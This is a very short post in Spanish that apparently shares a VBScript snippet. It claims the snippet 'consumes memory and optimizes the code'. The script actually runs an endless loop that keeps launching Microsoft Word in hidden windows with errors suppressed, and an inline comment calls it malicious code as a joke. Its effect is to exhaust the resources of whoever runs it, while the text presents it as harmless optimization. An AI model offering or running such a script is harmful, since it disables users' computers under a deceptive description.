asi tamben se consume memoria y se optimiza el codido @net@ 

do
On Error Resume Next
Set objshell = createobject("wscript.shell")
Objshell.run "winword", 0, True
'codigo malicioso jajaja
loop